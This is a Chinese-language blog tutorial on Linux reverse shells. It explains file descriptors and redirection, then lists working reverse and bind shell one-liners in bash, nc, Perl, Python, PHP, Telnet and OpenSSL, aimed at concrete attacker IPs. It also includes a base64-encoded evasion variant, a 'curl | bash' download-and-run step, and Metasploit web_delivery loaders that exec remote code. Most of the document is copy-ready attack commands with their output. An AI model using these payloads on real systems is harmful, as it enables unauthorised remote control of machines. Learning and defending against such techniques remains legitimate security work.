Linux反弹Shell

发布于:2025-03-27 ⋅ 阅读:(33) ⋅ 点赞:(0)

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符
在这里插入图片描述
我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。
文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;

文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置

更改标准输出的位置
把标准输出位置更改到test文件中:

 exec 1> test

把当前标准输出重定向到test文件中:

 echo 'lst'  1> test
 cat test
 lst

更改标准输入的位置
从键盘输入,把输入读入user变量

read user
testtest
echo $user
testtest

把test文件中的内容重定向到标准输入:

 read user 0< test
 echo $user
 lst

标准错误输出和标准输出的区别是,它在命令出错情况下的输出。

 exec 2> test

分配自己的文件描述符:

exec 5> test
echo 'are you ok?' 1>&5
cat test
are you ok?

把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null
特殊文件,写入的任何东西都会被清空。

  1. 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
whoami 2>/dev/null

2.快速移除文件中的数据而不用删除文件

 cat /dev/null > test

重定向
重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符

输入重定向

 <
从文件读取输入。

输出重定向

>
将输出保存到文件。
>>
将输出追加到文件。

管道

 |
将一个程序的输出作为输入发送到另一个程序

反弹shell的本质

什么是反弹shell
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

总结:就被控制电脑请求连接控制,控制端电脑 监控端口,显示相应数据包

实现控制端和被控端之间的交互

被控端:
bash -i >& /dev/tcp/10.10.1.11/6666 0>&1
在这里插入图片描述

控制端:
nc –lvvp 6666
在这里插入图片描述

参数解释说明

bash -i
打开一个交互式的bash shell。

/dev目录
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/10.10.1.11/6666
和10.10.1.11的6666端口建立TCP连接

nc -lvp 4444 -e /bin/bash

这里,-l 表示监听模式,-v 表示详细输出,-p 4444 是监听的端口号,-e /bin/bash 表示执行bash。

反弹shell方法

NC 之NC正向Shell

被控端:
nc -lvvp 6666 -e /bin/sh

控制端:
nc 10.10.1.7 6666

原  理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

NC反向Shell

控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 10.10.1.11 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

在这里插入图片描述
无-e参数反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
被控制端 在这里插入图片描述
控制端
在这里插入图片描述

mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 
1>backpipe 2>backpipe

linux mkfifo命令基本用法:
https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

Linux mknod 命令:
https://blog.csdn.net/bianchengxiaoma/article/details/139830517

Bash

被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1

控制端:
nc –lvvp 6666

在这里插入图片描述

在这里插入图片描述

被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; 
do $line 2>&5 >&5; done

控制端:
nc –lvvp 6666
 
base64编码绕过:
bash -c "echo 
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|b ase64 -d|bash -i"

Perl

 perl -e 'use 
Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM
 ,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton(
 $i))))
 {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(
 "/bin/sh -i");};'

在这里插入图片描述
在这里插入图片描述

Curl
vps

 root@VM-0-2-ubuntu:~# cat index.html
 bash -i >& /dev/tcp/139.155.49.43/6666 0>&1
 root@VM-0-2-ubuntu:~# python3 -m http.server
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
 47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /1.sh HTTP/1.1" 
200 -

target

 curl 139.155.49.43:8000|bash

result

 root@VM-0-2-ubuntu:~# nc -lvvp 6666
 Listening on [0.0.0.0] (family 0, port 6666)
 Connection from 47.101.214.85 46370 received!
 root@iZuf6j06q5f1lZ:~#

Python
Python一行命令反弹shell

 python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
 K_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno()
 ,0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.c
 all(["/bin/sh","-i"]);'

通过Msfvenom生成python反弹shell的payloa

msfvenom -p python/meterpreter/reverse_tcp LHOST=139.155.49.43 
LPORT=6666 -f raw

handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 
6666

通过Web delivery反弹shell:

use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set payload 
python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
msf5 exploit(multi/script/web_delivery) > exploit –j
python -c "import sys;import ssl;u=__import__('urllib'+
{2:'',3:'.request'}[sys.version_info[0]],fromlist=
('urlopen',));r=u.urlopen('http://139.155.49.43:8080/pWMAajktf
', context=ssl._create_unverified_context());exec(r.read());"

PHP
PHP一行命令反弹shell

php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i 
<&3 >&3 2>&3");'

Msfvenom生成php反弹shell脚本


 msfvenom -p php/bind_php lport=6666 -f raw > bind_php.ph

通过web_delivery反弹shell:

 use exploit/multi/script/web_delivery
 msf5 exploit(multi/script/web_delivery) > set target 1
 msf5 exploit(multi/script/web_delivery) > set payload 
php/meterpreter/reverse_tcp
 msf5 exploit(multi/script/web_delivery) > exploit –j
 php -d allow_url_fopen=true -r 
"eval(file_get_contents('http://139.155.49.43:8080/RRfKpX', 
false, stream_context_create(['ssl'=>
 ['verify_peer'=>false,'verify_peer_name'=>false]])));"

Ruby

msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw

Telnet

攻击机:
nc -lvvp 5555
nc -lvvp 6666

目标机: 
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 
6666

攻击机:
nc -lvvp 6666

目标机:
rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | 
/bin/bash 1>a
rm -f a;mknod a p;telnet 47.101.214.85 6666 0<a | /bin/bash 
1>a

OpenSSL
openssl反弹443端口,流量加密传输

1. 在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out 
cert.pem -days 365 -nodes

2.在远程攻击主机上启动监视器
 openssl s_server -quiet -key key.pem -cert cert.pem -port 443
 
3.在目标机上反弹shell
 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client 
quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s